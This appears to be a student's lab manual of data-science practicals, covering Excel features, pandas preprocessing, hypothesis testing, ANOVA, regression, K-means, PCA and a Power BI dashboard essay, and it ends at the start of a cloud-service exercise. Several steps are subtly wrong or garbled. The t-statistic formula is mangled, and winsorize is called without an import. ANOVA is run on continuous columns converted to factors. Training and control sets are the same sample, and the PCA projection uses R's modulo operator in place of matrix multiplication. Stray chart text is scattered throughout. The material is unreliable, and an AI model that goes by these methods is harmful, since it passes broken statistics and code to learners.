Practical - 1

Aim: Introduction to Excel

- **Perform conditional formatting on a dataset using various criteria.**
- **Create a pivot table to analyze and summarize data.**
- **Use the VLOOKUP function to retrieve information from a different worksheet or table.**
- **Perform what-if analysis using Goal Seek to determine input values for desired output.**

Requirements : Platform : MS Excel
Dataset: Pivot Table.xlsx, Use conditional formatting.xlsx, VLOOKUP.xlsx

- **Perform conditional formatting on a dataset using various criteria.**

We perform conditional formatting on the "Profit" column to highlight cells with a profit greater than 800 using following steps:

Steps:

1. Select the "Profit" column (Column E).

Product	Category	Sales	Cost	Profit
A	Electronics	1000	500	500
B	Clothing	1500	750	750
C	Electronics	2000	1000	1000
D	Home Appliances	1200	600	600
E	Clothing	1800	900	900
F	Electronics	900	450	450
G	Home Appliances	1300	650	650
H	Clothing	1600	800	800
I	Electronics	1100	550	550
J	Clothing	1400	700	700
K	Home Appliances	1000	500	500
L	Electronics	1900	950	950
M	Clothing	2200	1100	1100
N	Electronics	800	400	400
O	Home Appliances	1700	850	850
P	Clothing	1200	600	600
Q	Electronics	1300	650	650
R	Home Appliances	1600	800	800
S	Clothing	900	450	450
T	Electronics	1400	700	700
	Home			

2. Go to the "Home" tab on the ribbon.
3. Click on "Conditional Formatting" in the toolbar.

4. Choose "Highlight Cells Rules" and then "Greater Than."

5. Enter the threshold value as 800.

Product	Category	Sales	Cost	Profit
A	Electronics	1000	500	500
B	Clothing	1500	750	750
C	Electronics	2000	1000	1000
D	Home Appliances	1200	600	600
E	Clothing	1800	900	900
F	Electronics	900	450	450
G	Home Appliances	1300	650	650
H	Clothing	1600	800	800
I	Electronics	1100	550	550
J	Clothing	1400	700	700
K	Home Appliances	1000	500	500
L	Electronics	1900	950	950
M	Clothing	2200	1100	1100
N	Electronics	800	400	400
O	Home Appliances	1700	850	850
P	Clothing	1200	600	600
Q	Electronics	1300	650	650
R	Home Appliances	1600	800	800
S	Clothing	900	450	450
T	Electronics	1400	700	700

6. Customize the formatting options (e.g., choose a fill color).
7. Click "OK" to apply the rule.

Product	Category	Sales	Cost	Profit
A	Electronics	1000	500	500
B	Clothing	1500	750	750
C	Electronics	2000	1000	1000
D	Home Appliances	1200	600	600
E	Clothing	1800	900	900
F	Electronics	900	450	450
G	Home Appliances	1300	650	650
H	Clothing	1600	800	800
I	Electronics	1100	550	550
J	Clothing	1400	700	700
K	Home Appliances	1000	500	500
L	Electronics	1900	950	950
M	Clothing	2200	1100	1100
N	Electronics	800	400	400
O	Home Appliances	1700	850	850
P	Clothing	1200	600	600
Q	Electronics	1300	650	650
R	Home Appliances	1600	800	800
S	Clothing	900	450	450
T	Electronics	1400	700	700

- **Create a pivot table to analyze and summarize data.**

Following are the steps to create a pivot table to analyze total sales by category.

Steps:

1. Select the entire dataset including headers.

2. Go to the "Insert" tab on the ribbon.
3. Click on "PivotTable."

4. Choose where you want to place the PivotTable (e.g., new worksheet).

5. Drag "Category" to the Rows area.
6. Drag "Sales" to the Values area, choosing the sum function.

- **Use VLOOKUP function to retrieve information from a different worksheet or table.**

Use the VLOOKUP function to retrieve the category of "Product M" from a separate worksheet named "Product Table" using following steps:

Steps:

1. Assuming your "Product Table" is in a different worksheet.
2. In a cell in your main dataset, enter the formula:
   =VLOOKUP("M", 'Product Table'!A:B, 2, FALSE)

DATASET - Excel
Clothing
Sheet4
Sheet1
Sheet5

- **Perform what-if analysis using Goal Seek to determine input values for desired output.**

Use Goal Seek to find the required sales for "Product P" to achieve a profit of 1000 using the following steps.

Steps:

1. Identify the cell containing the formula for "Profit" for "Product P" (let's assume it's in cell E17).
2. Go to the "Data" tab on the ribbon.
3. Click on "What-If Analysis" and select "Goal Seek."

Product	Category	Sales	Cost	Profit
A	Electronics	1000	500	500
B	Clothing	1500	750	750
C	Electronics	2000	1000	1000
D	Home Appliances	1200	600	600
E	Clothing	1800	900	900
F	Electronics	900	450	450
G	Home Appliances	1300	650	650
H	Clothing	1600	800	800
I	Electronics	1100	550	550
J	Clothing	1400	700	700
K	Home Appliances	1000	500	500
L	Electronics	1900	950	950
M	Clothing	2200	1100	1100
N	Electronics	800	400	400
O	Home Appliances	1700	850	850
P	Clothing	1200	600	600
Q	Electronics	1300	650	650
R	Home Appliances	1600	800	800
S	Clothing	900	450	450
T	Electronics	1400	700	700
	Home			

4. Set "Set cell" to the profit cell (E17), "To value" to 1000, and "By changing cell" to the sales cell (C17).

5. Click "OK" to let Excel determine the required sales.

Practical -2

Aim: Data Frames and Basic Data Pre-processing

- **Read data from CSV and JSON files into a data frame.**
- **Perform basic data pre-processing tasks such as handling missing values and outliers.**
- **Manipulate and transform data using functions like filtering, sorting, and grouping.**

Requirements: Dataset : companydata.csv,
Platform: Google colab

Dataset:

Job Position	Years of Experience	Salary (in USD per year)
CEO	5	100000
Senior manager	4	80000
Junior manager	3	NaN
Employee	NaN	40000
Assistant staff	1	20000

Code & Output:

1. **Read data from CSV and JSON files into a data frame.**

```
import pandas as pd

#To create data set
#df = pd.DataFrame({'Job Position': ['CEO', 'Senior Manager', 'Junior Manager', 'Employee',
'Assistant Staff'], 'Years of Experience':[5, 4, 3, None, 1],
'Salary':[100000,80000,None,40000, 20000]})

#Read the data
df= pd.read_csv("companydata.csv")
df
```

	Job Position	Years of Experience	Salary
0	CEO	5.0	100000.0
1	Senior Manager	4.0	80000.0
2	Junior Manager	3.0	NaN
3	Employee	NaN	40000.0
4	Assistant Staff	1.0	20000.0

2. Perform basic data pre-processing tasks such as handling missing values and outliers

```
# Handling missing values
df['Years of Experience'].fillna(df['Years of Experience'].median(), inplace=True)
df['Salary'].fillna(df['Salary'].mean(), inplace=True)
df
```

	Job Position	Years of Experience	Salary
0	CEO	5.0	100000.0
1	Senior Manager	4.0	80000.0
2	Junior Manager	3.0	60000.0
3	Employee	3.5	40000.0
4	Assistant Staff	1.0	20000.0

```
# Handling outliers in the 'Salary' column using winsorizing
df['Salary'] = winsorize(df['Salary'], limits=[0.05, 0.05])
df['Salary']
```

```
0    100000.0
1     80000.0
2     60000.0
3     40000.0
4     20000.0
Name: Salary, dtype: float64
```

3. Manipulate and transform data using functions like filtering, sorting, and grouping.

```
# Filtering: Selecting rows where 'Years of Experience' is not null
df_filtered = df[df['Years of Experience'].notnull()]

# Sorting: Sorting the DataFrame by 'Salary' in descending order
```

```
df_sorted = df.sort_values(by='Salary', ascending=False)

# Grouping: Calculating the average salary for each job position
df_grouped = df.groupby('Job Position')['Salary'].mean().reset_index()

# Viewing the results
print("Original DataFrame:")
print(df.head())
print("\nFiltered DataFrame (Rows with non-null 'Years of Experience'):")
print(df_filtered)
print("\nSorted DataFrame (Descending order by 'Salary'):")
print(df_sorted)
print("\nGrouped DataFrame (Average salary for each job position):")
print(df_grouped)
```

```
Original DataFrame:
      Job Position  Years of Experience    Salary
0              CEO                  5.0  100000.0
1   Senior Manager                  4.0   80000.0
2   Junior Manager                  3.0   60000.0
3         Employee                  3.5   40000.0
4  Assistant Staff                  1.0   20000.0

Filtered DataFrame (Rows with non-null 'Years of Experience'):
      Job Position  Years of Experience    Salary
0              CEO                  5.0  100000.0
1   Senior Manager                  4.0   80000.0
2   Junior Manager                  3.0   60000.0
3         Employee                  3.5   40000.0
4  Assistant Staff                  1.0   20000.0

Sorted DataFrame (Descending order by 'Salary'):
      Job Position  Years of Experience    Salary
0              CEO                  5.0  100000.0
1   Senior Manager                  4.0   80000.0
2   Junior Manager                  3.0   60000.0
3         Employee                  3.5   40000.0
4  Assistant Staff                  1.0   20000.0

Grouped DataFrame (Average salary for each job position):
      Job Position    Salary
0  Assistant Staff   20000.0
1              CEO  100000.0
2         Employee   40000.0
3   Junior Manager   60000.0
4   Senior Manager   80000.0
```

Practical - 3

Aim: Feature Scaling and Dummification

- **Apply feature-scaling techniques like standardization and normalization to numerical features.**
- **Perform feature dummification to convert categorical variables into numerical representations.**

Feature Scaling:

Feature scaling is a preprocessing technique used to standardize the range of independent variables or features of the data. It is essential for certain machine learning algorithms that are sensitive to the scale of input features, ensuring that all features contribute equally to the learning process.

Feature Dummification:

Feature dummification or one-hot encoding is a technique used to convert categorical variables into numerical representations. This is necessary because many machine learning algorithms require numerical input, and representing categorical variables as binary vectors helps maintain their information.

Steps:

1. **Load and Explore Data:** Load the dataset and explore its structure, identify numeric and categorical features.
2. **Feature Scaling:** Apply standardization and normalization to numeric features.
3. **Feature Dummification:** Convert categorical variables into numerical representations using one-hot encoding.
4. **Combine Features:** Combine scaled numeric features with one-hot encoded categorical features.
5. **Display Resulting Dataset:** Display the final dataset after both feature scaling and dummification.

Code:

```
import pandas as pd
from sklearn.preprocessing import StandardScaler, MinMaxScaler, OneHotEncoder
from sklearn.compose import ColumnTransformer
from sklearn.pipeline import Pipeline

# Define the data
data = {
    'Product': ['Apple_Juice', 'Banana_Smoothie', 'Orange_Jam', 'Grape_Jelly', 'Kiwi_Parfait',
'Mango_Chutney', 'Pineapple_Sorbet', 'Strawberry_Yogurt', 'Blueberry_Pie', 'Cherry_Salsa'],
   'Category': ['Apple', 'Banana', 'Orange', 'Grape', 'Kiwi', 'Mango', 'Pineapple', 'Strawberry', 'Blueberry',
'Cherry'],
   'Sales': [1200, 1700, 2200, 1400, 2000, 1000, 1500, 1800, 1300, 1600],
```

```
    'Cost': [600, 850, 1100, 700, 1000, 500, 750, 900, 650, 800],
    'Profit': [600, 850, 1100, 700, 1000, 500, 750, 900, 650, 800]
}

# Create a DataFrame
df = pd.DataFrame(data)

# Display the original dataset
print("Original Dataset:")
print(df)

# Step 1: Feature Scaling (Standardization and Normalization)
numeric_columns = ['Sales', 'Cost', 'Profit']
scaler_standardization = StandardScaler()
scaler_normalization = MinMaxScaler()
df_scaled_standardized = pd.DataFrame(scaler_standardization.fit_transform(df[numeric_columns]),
columns=numeric_columns)
df_scaled_normalized = pd.DataFrame(scaler_normalization.fit_transform(df[numeric_columns]),
columns=numeric_columns)

# Combine the scaled numeric features with the categorical features
df_scaled = pd.concat([df_scaled_standardized, df.drop(numeric_columns, axis=1)], axis=1)

# Display the dataset after feature scaling
print("\nDataset after Feature Scaling:")
print(df_scaled)

# Step 2: Feature Dummification
# Identify categorical columns
categorical_columns = ['Product', 'Category']

# Create a column transformer for dummification
preprocessor = ColumnTransformer(
    transformers=[
        ('categorical', OneHotEncoder(), categorical_columns)
    ],
    remainder='passthrough'
)

# Apply the column transformer to the dataset
df_dummified = pd.DataFrame(preprocessor.fit_transform(df))

# Display the dataset after feature dummification
print("\nDataset after Feature Dummification:")
print(df_dummified)
```

Output:

```
Original Dataset:
             Product    Category  Sales  Cost  Profit
0        Apple_Juice       Apple   1200   600     600
1    Banana_Smoothie      Banana   1700   850     850
2         Orange_Jam      Orange   2200  1100    1100
3        Grape_Jelly       Grape   1400   700     700
4       Kiwi_Parfait        Kiwi   2000  1000    1000
5      Mango_Chutney       Mango   1000   500     500
6   Pineapple_Sorbet   Pineapple   1500   750     750
7  Strawberry_Yogurt  Strawberry   1800   900     900
8      Blueberry_Pie   Blueberry   1300   650     650
9       Cherry_Salsa      Cherry   1600   800     800

Dataset after Feature Scaling:
      Sales      Cost    Profit            Product    Category
0 -1.058873 -1.058873 -1.058873        Apple_Juice       Apple
1  0.372036  0.372036  0.372036    Banana_Smoothie      Banana
2  1.802946  1.802946  1.802946         Orange_Jam      Orange
3 -0.486509 -0.486509 -0.486509        Grape_Jelly       Grape
4  1.230582  1.230582  1.230582       Kiwi_Parfait        Kiwi
5 -1.631237 -1.631237 -1.631237      Mango_Chutney       Mango
6 -0.200327 -0.200327 -0.200327   Pineapple_Sorbet   Pineapple
7  0.658218  0.658218  0.658218  Strawberry_Yogurt  Strawberry
8 -0.772691 -0.772691 -0.772691      Blueberry_Pie   Blueberry
9  0.085855  0.085855  0.085855       Cherry_Salsa      Cherry

Dataset after Feature Dummification:
                                                     0
0    (0, 0)\t1.0\n  (0, 10)\t1.0\n  (0, 20)\t1200...
1    (0, 1)\t1.0\n  (0, 11)\t1.0\n  (0, 20)\t1700...
2    (0, 7)\t1.0\n  (0, 17)\t1.0\n  (0, 20)\t2200...
3    (0, 4)\t1.0\n  (0, 14)\t1.0\n  (0, 20)\t1400...
4    (0, 5)\t1.0\n  (0, 15)\t1.0\n  (0, 20)\t2000...
5    (0, 6)\t1.0\n  (0, 16)\t1.0\n  (0, 20)\t1000...
6    (0, 8)\t1.0\n  (0, 18)\t1.0\n  (0, 20)\t1500...
7    (0, 9)\t1.0\n  (0, 19)\t1.0\n  (0, 20)\t1800...
8    (0, 2)\t1.0\n  (0, 12)\t1.0\n  (0, 20)\t1300...
9    (0, 3)\t1.0\n  (0, 13)\t1.0\n  (0, 20)\t1600...
```

Practical - 4

Aim: Hypothesis Testing

- **Formulate null and alternative hypotheses for a given problem.**
- **Conduct a hypothesis test using appropriate statistical tests (e.g., t-test, chisquare test).**
- **Interpret the results and draw conclusions based on the test outcomes.**

Hypothesis Testing:

Hypothesis testing is a statistical method used to make inferences about population parameters based on sample data. It involves the formulation of a null hypothesis (H0) and an alternative hypothesis (H1), and the collection of sample data to assess the evidence against the null hypothesis. The goal is to determine whether there is enough evidence to reject the null hypothesis in favor of the alternative hypothesis.

1. **Formulate Hypotheses:**
   - Null Hypothesis ($H0$): The average caffeine content per serving is 80 mg (μ=80).
   - Alternative Hypothesis ($H1$): The average caffeine content per serving is different from 80 mg ($\mu \neq 80$).
2. **Statistical Test:**
   - A t-test is appropriate since you are comparing a sample mean to a known population mean, and the sample size is small.
3. **Data Collection:**
   - Randomly select 30 cans of the energy drink and measure the caffeine content in each.
4. **Conducting the Hypothesis Test:**

   a. **Collect Data:**
   - Calculate the sample mean () and standard deviation (s) from the 30 samples.

   b. **Set Significance Level (α):**
   - Choose a significance level (α=0.05,0.01,0.10).

   c. **Calculate the Test Statistic (t-value):**
   - Use the formula $t=s/n-\mu$.

   d. **Determine Degrees of Freedom:**
   - For a one-sample t-test, degrees of freedom (df) is $n-1$.

   e. **Find Critical Values or P-value:**
   - Use a t-table or statistical software to find the critical t-values for a two-tailed test at the chosen significance level.

   f. **Make a Decision:**
   - If the t-value falls outside the critical region, reject the null hypothesis. If it falls inside, fail to reject.

   g. **Interpretation:**
   - If you reject the null hypothesis, there is enough evidence to suggest that the average caffeine content per serving is different from 80 mg. If you fail to reject the null hypothesis, there is not enough evidence to suggest a difference in the average caffeine content.

5. **Conclusion:**

- Draw conclusions about the energy drink's caffeine content, considering both statistical and practical significance. Consider decisions relevant to the context of the problem.

Code:

```
import numpy as np
from scipy import stats
import matplotlib.pyplot as plt

# Generate two samples for demonstration purposes
np.random.seed(42)
sample1 = np.random.normal(loc=10, scale=2, size=30)
sample2 = np.random.normal(loc=12, scale=2, size=30)

# Perform a two-sample t-test
t_statistic, p_value = stats.ttest_ind(sample1, sample2)

# Set the significance level
alpha = 0.05
print("Results of Two-Sample t-test:")
print(f"t-statistic: {t_statistic}")
print(f"p-value: {p_value}")
print(f"Degrees of Freedom: {len(sample1) + len(sample2) - 2}")

# Plot the distributions
plt.figure(figsize=(10, 6))
plt.hist(sample1, alpha=0.5, label='Sample 1', color='blue')
plt.hist(sample2, alpha=0.5, label='Sample 2', color='orange')
plt.axvline(np.mean(sample1), color='blue', linestyle='dashed', linewidth=2)
plt.axvline(np.mean(sample2), color='orange', linestyle='dashed', linewidth=2)
plt.title('Distributions of Sample 1 and Sample 2')
plt.xlabel('Values')
plt.ylabel('Frequency')
plt.legend()

# Highlight the critical region if null hypothesis is rejected
if p_value < alpha:
    critical_region = np.linspace(min(sample1.min(), sample2.min()), max(sample1.max(), sample2.max()),
1000)
    plt.fill_between(critical_region, 0, 5, color='red', alpha=0.3, label='Critical Region')

# Show the observed t-statistic
plt.text(11, 5, f'T-statistic: {t_statistic:.2f}', ha='center', va='center', color='black', backgroundcolor='white')

# Show the plot
plt.show()

# Draw Conclusions
if p_value < alpha:
    if np.mean(sample1) > np.mean(sample2):
        print("Conclusion: There is significant evidence to reject the null hypothesis.")
```

```
        print("Interpretation: The mean caffeine content of Sample 1 is significantly higher than that of Sample 2.")
    else:
        print("Conclusion: There is significant evidence to reject the null hypothesis.")
        print("Interpretation: The mean caffeine content of Sample 2 is significantly higher than that of Sample 1.")
else:
    print("Conclusion: Fail to reject the null hypothesis.")
    print("Interpretation: There is not enough evidence to claim a significant difference between the means.")
```

Output:

```
Results of Two-Sample t-test:
t-statistic: -4.512913234547555
p-value: 3.176506547470154e-05
Degrees of Freedom: 58
```

```
Conclusion: There is significant evidence to reject the null hypothesis.
Interpretation: The mean caffeine content of Sample 2 is significantly higher than that of Sample 1.
```

Practical - 5

Aim: ANOVA (Analysis of Variance)

- **Perform one-way ANOVA to compare means across multiple groups.**
- **Conduct post-hoc tests to identify significant differences between group means.**

Requirements: RStudio, WholesaleCustomersData.csv

Steps:

Download the "WholesaleCustomersData.csv" from Kaggle

Open RStudio > Create A New Project > Import Dataset > From Text (base)

In the Console, Type the following Command-

WholesaleCustomerData$Region <- factor(WholesaleCustomerData$Region)

Here, "WholesaleCustomerData" is the name of the dataset

 # Perform the ANOVA

one.way <- aov(Grocery ~ Region, data = WholesaleCustomerData)

 # Check the summary

summary(one.way)

 # Try Tukey's HSD test

TukeyHSD(one.way)

Comparing Multiple Groups

```
> wholesaleCustomerData$Milk <- factor(wholesaleCustomerData$Milk)
> one.way <- aov(Grocery ~ Milk, data = wholesaleCustomerData)
> summary(one.way)
             Df    Sum Sq  Mean Sq F value   Pr(>F)    
Milk        420 3.947e+10 93969190    9.97 2.75e-07 ***
Residuals    19 1.791e+08  9425030                     
---
Signif. codes:  0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1
> TukeyHSD(one.way)
  Tukey multiple comparisons of means
    95% family-wise confidence level

Fit: aov(formula = Grocery ~ Milk, data = wholesaleCustomerData)

$Milk
                     diff           lwr          upr     p adj
112-55       6.410000e+02 -25236.798668  26518.79867 1.0000000
134-55       8.100000e+01 -25796.798668  25958.79867 1.0000000
201-55       1.080000e+02 -25769.798668  25985.79867 1.0000000
254-55       4.730000e+02 -25404.798668  26350.79867 1.0000000
258-55       1.001000e+03 -24876.798668  26878.79867 1.0000000
```

```
> wholesaleCustomerData$Delicassen <- factor(wholesaleCustomerData$Delicassen)
> one.way <- aov(Detergents_Paper ~ Delicassen, data = wholesaleCustomerData)
> summary(one.way)
             Df    Sum Sq  Mean Sq F value Pr(>F)
Delicassen  402 8.828e+09 21961336   0.706  0.942
Residuals    37 1.151e+09 31110332
> TukeyHSD(one.way)
  Tukey multiple comparisons of means
    95% family-wise confidence level

Fit: aov(formula = Detergents_Paper ~ Delicassen, data = wholesaleCustomerData)

$Delicassen
                     diff          lwr       upr     p adj
7-3         -9.352500e+02 -34881.96178 33011.462 1.0000000
8-3         -1.337250e+03 -35283.96178 32609.462 1.0000000
11-3        -1.010250e+03 -34956.96178 32936.462 1.0000000
18-3        -6.492500e+02 -26944.25987 25645.760 1.0000000
22-3        -1.312250e+03 -35258.96178 32634.462 1.0000000
27-3         2.123750e+03 -31822.96178 36070.462 1.0000000
```

```
> wholesaleCustomerData$Fresh <- factor(wholesaleCustomerData$Fresh)
> one.way <- aov(Detergents_Paper ~ Fresh, data = wholesaleCustomerData)
> summary(one.way)
             Df    Sum Sq  Mean Sq F value Pr(>F)
Fresh       432 9.888e+09 22889849   1.758  0.219
Residuals     7 9.112e+07 13017787
> TukeyHSD(one.way)
  Tukey multiple comparisons of means
    95% family-wise confidence level

Fit: aov(formula = Detergents_Paper ~ Fresh, data = wholesaleCustomerData)

$Fresh
                      diff         lwr        upr     p adj
9-3           3.349000e+03 -30768.0902 37466.0902 1.0000000
18-3          4.678000e+03 -29439.0902 38795.0902 1.0000000
23-3          3.755000e+03 -30362.0902 37872.0902 1.0000000
37-3          6.628000e+03 -27489.0902 40745.0902 1.0000000
```

Practical - 6

Aim: Regression and Its Types

- **Implement simple linear regression using a dataset.**
- **Explore and interpret the regression model coefficients and goodness-of-fit measures.**
- **Extend the analysis to multiple linear regression and assess the impact of additional predictors**

Requirements: RStudio, LungCap.xls

Download the "LungCap.xls" from Kaggle
Open RStudio > Create A New Project > Import Dataset > From Excel > Browse > Import
In the Console, Type the following Command-

```
>LungCap <- read_excel("C:/Users/admin/Downloads/LungCap.xls")
> View(LungCap)
> attach(LungCap)
> names(LungCap)
> class(`LungCap(cc)`)
> class(`Age( years)`)
> class(`Height(inches)`)
> class(Smoke)
> class(Gender)
> class(Caesarean)
> plot(`Age( years)`,`LungCap(cc)`, main = "Scatterplot")
> cor(`Age( years)`, LungCap$`LungCap(cc)`)
> mod<-lm(LungCap$`LungCap(cc)`~ `Age( years)`)
> summary(mod)
```

Outputs:

```
> LungCap <- read_excel("C:/Users/admin/Downloads/LungCap.xls")
> View(LungCap)
> attach(LungCap)
```

```
> names(LungCap)
[1] "LungCap(cc)"    "Age( years)"    "Height(inches)" "Smoke"          "Gen
der"          "Caesarean"
> class(`LungCap(cc)`)
[1] "numeric"
> class(`Age( years)`)
[1] "numeric"
> class(`Height(inches)`)
[1] "numeric"
> class(Smoke)
[1] "character"
> class(Gender)
[1] "character"
> class(Caesarean)
[1] "character"
```

```
> plot(`Age( years)`,`LungCap(cc)`, main = "Scatterplot")
> cor(`Age( years)`, LungCap$`LungCap(cc)`)
[1] 0.8196749
```

```
> mod<-lm(LungCap$`LungCap(cc)`~ `Age( years)`)
> summary(mod)

Call:
lm(formula = LungCap$`LungCap(cc)` ~ `Age( years)`)

Residuals:
    Min      1Q  Median      3Q     Max 
-4.7799 -1.0203 -0.0005  0.9789  4.2650 

Coefficients:
              Estimate Std. Error t value Pr(>|t|)    
(Intercept)    1.14686    0.18353   6.249 7.06e-10 ***
`Age( years)`  0.54485    0.01416  38.476  < 2e-16 ***
---
Signif. codes:  0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1

Residual standard error: 1.526 on 723 degrees of freedom
Multiple R-squared:  0.6719,	Adjusted R-squared:  0.6714 
F-statistic:  1480 on 1 and 723 DF,  p-value: < 2.2e-16
```

Practical 7

Aim: Logistic Regression and Decision Tree

- **Build a logistic regression model to predict a binary outcome.**
- **Evaluate the model's performance using classification metrics (e.g., accuracy, precision, recall).**
- **Construct a decision tree model and interpret the decision rules for classification**

Requirements: RStudio, Iris.csv

Steps: Download the "Iris.csv" from Kaggle

Open RStudio > Create A New Project > Import Dataset > From Text(Base) > Browse > Import

In the Console, Type the following Command-

```
> Iris <- read.csv("C:/Users/admin/Downloads/Iris.csv")
> View(Iris)
> library(datasets)
> ir_data<-iris
> head(ir_data)
> str(ir_data)
> levels(ir_data$Species)
> sum(is.na(ir_data))
> ir_data<-ir_data[1:100,]
> set.seed(100)
> samp <- sample(1:100, 80)
> ir_test<-ir_data[samp,]
> ir_ctrl<-ir_data[samp,]
> install.packages("ggplot2")
> library(ggplot2)
> install.packages("GGally")
> library(GGally)
> ggpairs(ir_test)
> y<-ir_test$Species; x<-ir_test$Sepal.Length
> glfit<-glm(y~x,family = 'binomial')
> summary(glfit)
> newdata<-data.frame(x=ir_ctrl$Sepal.Length)
> predicted_val<-predict(glfit,newdata, type = "response")
> prediction<-data.frame(ir_ctrl$Sepal.Length,ir_ctrl$Species,predicted_val)
> prediction
> qplot(prediction[,1],round(prediction[,3]),col=prediction[,2],xlab='Sepal Length', ylab='Prediction using Logistic
Reg.')
```

Outputs:

Sepal.Length
Sepal.Width
Petal.Length
Petal.Width
Species
Corr:
-0.229*
Corr:
0.828***
Corr:
0.811***
Corr:
-0.607***
Corr:
-0.574***
Corr:
0.981***
setosa
versicolor

Prediction using Logistic Reg.
Sepal Length
prediction[, 2]
setosa
versicolor

Practical - 8

Aim: K-Means Clustering

- **Apply the K-Means algorithm to group similar data points into clusters.**
- **Determine the optimal number of clusters using elbow method or silhouette analysis.**
- **Visualize the clustering results and analyze the cluster characteristics.**

Requirements: RStudio, Iris.csv
Steps: Download the "WholesaleCustomerData.csv" from Kaggle
Open RStudio > Create A New Project > Import Dataset > From Text(Base) > Browse > Import
In the Console, Type the following Command-

```
import pandas as pd
from sklearn.preprocessing import MinMaxScaler
import matplotlib.pyplot as plt
data= pd.read_csv('WholesaleCustomerData.csv')
data.head()
categorical_features = ['Channel','Region']
continuous_features = ['Fresh','Milk','Grocery','Frozen','Detergents_Paper','Delicassen']
data[continuous_features].describe()
for col in categorical_features:
    dummies = pd.get_dummies(data[col], prefix=col)
    data = pd.concat([data, dummies], axis=1)
    data.drop(col, axis=1, inplace=True)

data.head()
mms = MinMaxScaler()
mms.fit(data)
data_transformed = mms.transform(data)
from sklearn.cluster import KMeans
import numpy as np

Sum_of_squared_distances = []
K = range(1, 15)

for k in K:
    km = KMeans(n_clusters=k)
    km = km.fit(data_transformed)
    Sum_of_squared_distances.append(km.inertia_)

plt.plot(K, Sum_of_squared_distances, 'bx-')
plt.xlabel('k')
plt.ylabel('Sum_of_squared_distances')
plt.title('Elbow Method For Optimal k')
```

plt.show()

Elbow Method For Optimal k
Sum_of_squared_distances
400
350
300
250
200
150
100
50
0
2
4
6
8
10
12
14
k

Practical - 9

Aim: Principal Component Analysis (PCA)

- **Perform PCA on a dataset to reduce dimensionality.**
- **Evaluate the explained variance and select the appropriate number of principal components.**
- **Visualize the data in the reduced-dimensional space**

Requirements: RStudio, Iris.csv
Steps: Download the "Iris.csv" from Kaggle
Open RStudio > Create A New Project > Import Dataset > From Text(Base) > Browse > Import
In the Console, Type the following Command-

```
> data_iris <- iris[1:4]
> cov_data <- cov(data_iris)
> Eigen_data <- eigen(cov_data)
> PCA_data <- princomp(data_iris,cor = "False")
> Eigen_data$values
> PCA_data$sdev^2
> PCA_data$loadings[,1:4]
> Eigen_data$vectors
> summary(PCA_data)
> biplot(PCA_data)
> screeplot(PCA_data,type = 'lines')
> model2 = PCA_data$loadings[,1]
> model2_scores <- as.matrix(data_iris)%%model2
> library(class)
> install.packages("e1071")
> library(e1071)
> mod1 <- naiveBayes(iris[,1:4],iris[,5])
> mod2 <- naiveBayes(model2_scores,iris[,5])
> table(predict(mod1,iris[,1:4]),iris[,5])
> table(predict(mod2,model2_scores),iris[,5])
> biplot(PCA_data, main = "Biplot", scale = 0)
```

Comp.1
Comp.2
Id

PCA_data
Variances
Comp.1
Comp.2
Comp.3
Comp.4

Biplot
-1.0
-0.5
0.0
0.5
1.0
50
0
-50
Comp.2
SepalLengthCm
PetalLengthCm
-50
0
50
Comp.1

Practical 10

Aim: Data Visualization and Storytelling

- **Create meaningful visualizations using data visualization tools**
- **Combine multiple visualizations to tell a compelling data story.**
- **Present the findings and insights in a clear and concise manner**

<u>Executive Insights by Decisive Data</u>

Summary

Often asking, “How are we performing?” can be a question that cascades into a series of further questions, spinoffs and investigative research. This is especially true for globally minded companies. I wanted to create a report that preemptively addressed this kind of exploration. This report is meant to provide data-driven decision making, while emphasizing user-flexibility and visual analysis. I was able to achieve my goal to empower the user by leveraging dynamic visuals. Thus, this dashboard can scale as the needs of the global business changes.

Approach

A dashboard is most valuable when you immediately understand what you can do. I looked into what attributes that can be influenced by the company:

- *What we are selling (products)*
- *When we are selling (year)*
- *Where we are selling (country)*
- *How we are selling (order type)*

The focus here is to view the business from multiple angles for these attributes, providing a holistic approach to the business, through dynamic parameters. I was able to provide deeper analysis with Top/Bottom products, YoY growth and Running totals to name a few. I leveraged bar charts, line charts, donut charts and custom visuals for visual analysis.

Pushing the Boundaries

There were two things I wished to achieve with this dashboard, attractive mapping and next-level user interactivity.

I wanted to have a map that was design oriented and subtle, like an art piece, meant to invite the user into the dashboard. *If users are going to be using a report all the time, why not make it pleasing to the eye?* I found that design piece with the new “Shape Map” feature, where one can import custom TopoJSON files. I edited and imported a custom world map from http://mapstarter.com/. The simple map was meant to ground the user geographically and complement the adjacent bar chart, which holds the same information.

Moreover, I am a firm believer that interactivity is empowering. Giving users the tools to investigate data on their own terms is liberating. As such, I wanted to provide *two* layers of dynamic parameters. This was done with a Top 5/Bottom 5 measure that reflects whatever measure the user has selected at the top of the dashboard. This was executed within DAX. The question I wanted to be able to answer was “What is my [Top/Bottom] products by [Value]?” in one, simple, clean visual.

For the first part of this method of creating dynamic measures, I was inspired by Sam McKay’s wonderful blog post on Dynamic Visuals, within Power BI. This provided me the groundwork for my dynamic values, and how I would approach the rest of this problem.

Now came the real challenge. I had to build two ranks on a value that could change with a click. To do this I set my dynamic parameter as two rank fields, one Ascending and the other to Descending, for the respective ends of the product performance. These were calculated across my desired field, Products.

Next, I needed to filter each of these Ranks to only keep the Top 5 Products. This can be down with two IF statements, keeping the Rank with only five values or else appearing as BLANK(). Once the IFs are built, you can then build another selector table with McKay’s method with a “Top 5” and “Bottom 5”, which can eventually be used with a SWITCH function to include only the [Filtered Rank DESC] or the [Filtered Rank ASC].

The result means that instead of **six** individual bar charts, one for a Top or Bottom, across three measures, Quantity, Revenue and Profit, you end up with **one**, dynamic visual. The result empowers users and saves valuable real estate for other interesting insights.

Quality over quantity.

Wrapping it up

The dynamic parameters and tables worked very well, but it took a little research to have the two dynamic parameters work in conjunction, as I had yet to see any specific topic utilize such before in Power BI. Another aspect that comes to mind, is whether one could make the number of values, in this case 5, also a parameter, so you could select how many TopN you are seeing. Food for thought. In the end, it’s great to know that great visuals can be created just with DAX, determination and some trial and error.

Overall, with the combination of the custom visuals, and dynamic parameters, I created a clean dashboard for analytical insights that’s also a pleasure to interact with.

Cloud Computing and Web Services Practical

Practical - 1

Aim: Define a simple services like Converting Rs into Dollar and Call it from different platform like JAVA

Steps:

1] Open the NetBeans, and you will get the following screen. Close the start page.

2] Now click on the file tab and click on new project you will get the following screen :

3] In Categories select Java Web and in Projects , Select Web Application. After selecting click onnext . You will get the following window:

